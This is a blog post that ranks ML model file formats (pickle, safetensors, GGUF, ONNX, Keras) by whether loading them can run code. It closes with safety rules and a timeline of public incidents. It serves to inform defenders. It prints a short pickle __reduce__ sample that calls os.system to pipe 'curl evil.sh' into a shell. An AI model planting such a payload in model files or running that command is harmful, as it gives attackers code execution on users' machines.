shd_

Pickle, safetensors, GGUF: which model formats can hurt you

· 7 min read

When you download a model off Hugging Face you are downloading a file, and that file is in one of maybe six formats. Most people never think about which one, they just click. They should think about it, because the format decides one blunt thing before the model produces a single token: whether loading the file can run code on your machine.

One of the common formats does exactly that, on purpose, as a feature of how it works. Another was invented specifically to take that ability away. The rest sit somewhere in between. Here is the field guide, worst to best, so you know what you are actually opening.

Pickle, the one that runs code

The default way PyTorch saves a model is Python’s pickle, and pickle is the dangerous one. The giveaway extensions are .bin, .pt, .pth and .ckpt, and torch.save produces all of them.

The thing to understand is that a pickle file is not data. It is a little program for a stack machine, and one of its instructions, REDUCE, says “call this callable with these arguments”. An object can define __reduce__ to return whatever callable it likes, and pickle.load will dutifully call it during unpickling. So this, baked into a model file, runs when you load it:

class Evil:
    def __reduce__(self):
        import os
        return (os.system, ("curl evil.sh | sh",))

torch.load on a hostile checkpoint is remote code execution waiting for you to open it. This is not theoretical. People have uploaded malicious pickled models to Hugging Face by the dozen, which is why HF now runs picklescan and ClamAV across uploads and puts a warning on files that fail. That scanning helps, but picklescan has had multiple documented bypasses, and attackers have shipped deliberately broken pickles that slip the payload past it, so it is a tripwire and not a wall. A pickle from someone you do not trust should be treated as code you are about to run as yourself, because it is.

safetensors, the one that fixed it

safetensors is Hugging Face’s answer to all of the above, and the answer is to make the format too boring to attack. The entire file is a length, then a small JSON header that maps each tensor to its dtype, shape and byte range, then the raw tensor bytes back to back. That is it. There is nowhere to put a callable, no instruction stream, no __reduce__. Loading it is parsing a header and memory-mapping some floats.

This is why it has become the default for new releases, and why the Stable Diffusion world moved to it after a run of poisoned .ckpt files. It was independently audited by Trail of Bits in 2023, on behalf of Hugging Face, EleutherAI and Stability AI, and no code-execution path was found. If a model is offered as .safetensors, take it over the .bin next to it every time. The worst a malformed safetensors file can do is crash the parser, not own the host.

GGUF, data with one sharp edge

GGUF is the format for local inference, the one llama.cpp and Ollama load, the one you get when you pull a quantised model to run on your own machine. Like safetensors, it is data and not code. The weights are just quantised tensors, and loading them does not execute anything.

It has one sharp edge that the file scanners miss, though, and it is worth knowing because GGUF is exactly the format the hobbyist rebadge scene ships in. GGUF metadata carries the model’s chat template as a Jinja string, and Jinja is a real template language. A hostile template is server-side template injection that fires at inference time, not load time, so a scanner looking at the file on disk sees nothing wrong. That is not hypothetical: it is exactly CVE-2024-34359, nicknamed “Llama Drama”, where a crafted GGUF chat template ran code through llama-cpp-python before the sandbox fix landed. The other edge is the same as any download: the repo next to the .gguf can ship a config.json and a .py that your loader will run if you pass trust_remote_code=True. The weights are innocent, the Python file is the payload.

I took one of these GGUF rebadges apart in detail in another post, and the methodology turned into a small open-source scanner, ggufvet, because the free tools (picklescan, modelscan) only cover the pickle family and skip GGUF entirely. It reads the metadata and the chat template without running the model, and flags the gadgets.

The rest, briefly

ONNX is a protobuf description of a computation graph. It does not run arbitrary code on load the way pickle does, but the graph can reference custom operators and external data files, and the surface lives in the runtime that executes it rather than in a __reduce__. Safer than pickle, not zero.

Keras .h5 and TensorFlow SavedModel can embed a Lambda layer, which is serialised Python that runs when the model is built, and SavedModel can carry arbitrary TF ops. CERT/CC issued an advisory for exactly this (VU#253266), and researchers later showed code execution even with safe_mode=True. Not as casually weaponised as pickle, but not data-only either. modelscan covers these.

GGML is GGUF’s predecessor, now deprecated. If you still see a .ggml, it is old, and you want the GGUF instead.

.ckpt deserves a second mention because the name sounds neutral and the file is usually pickle underneath. Stable Diffusion checkpoints were .ckpt, were pickle, and were a malware vector, which is the whole reason that community switched to safetensors.

The short version

The format you download is the threat model you accepted, whether you looked or not.

FormatExtensionsRuns code on load?Verdict
Pickle.bin .pt .pth .ckptYes, by designTreat as code. Avoid from strangers.
Keras / SavedModel.h5, SavedModel dirCan (Lambda layers, ops)Scan it.
ONNX.onnxNot on load, but custom opsLower risk, not zero.
GGUF.ggufNo, but Jinja template at inference + repo .pyCheck the template and the repo.
safetensors.safetensorsNo, by designPrefer this.

The practical rules fall out of the table. Prefer safetensors and GGUF over raw pickle. Never pass trust_remote_code=True to a model you have not read. Scan what you download, with a tool that actually understands the format in front of you, and remember that a clean scan means no known red flags, not safe. Know which file you are opening, because the file already knows what it is allowed to do to you.

When these actually happened

None of this is a thought experiment. A rough timeline of the public cases, so you can see the formats above failing in the wild:

  • 2023, May. Trail of Bits audits safetensors for Hugging Face, EleutherAI and Stability AI and finds no code-execution path. This is the format being boring on purpose.
  • 2024, Feb. JFrog finds around a hundred malicious models on Hugging Face. One opens a reverse shell to a hard-coded host the moment you torch.load it.
  • 2024, May. CVE-2024-34359, “Llama Drama”. A malicious GGUF chat template achieves server-side template injection and runs code in llama-cpp-python before 0.2.72. The exact inference-time edge described above.
  • 2024. Databricks discloses memory-corruption bugs in the GGML/GGUF parser: a crafted file corrupts memory as it is read, before any template runs.
  • 2024. CERT/CC warns that Keras 2 Lambda layers allow arbitrary code injection in TensorFlow models (VU#253266).
  • 2025, Feb. ReversingLabs documents “nullifAI”: pickle files broken on purpose so the payload fires before picklescan notices anything is wrong. HF pulls them within a day and patches the scanner.
  • 2025. JFrog publishes three zero-day bypasses in picklescan itself, and separately a safe_mode=True bypass in Keras. The scanners are tripwires, not walls.
  • 2026, May. Six fresh flaws land in llama.cpp’s GGUF parsers, inherited by everything built on it, Ollama included, plus CVE-2026-5760, another GGUF chat-template SSTI, this time in SGLang’s rerank endpoint. The sharp edge keeps reappearing.

The pattern across three years is the same: the code-bearing formats get exploited, the scanners that watch them get bypassed, and the data-only format gets audited and stays quiet.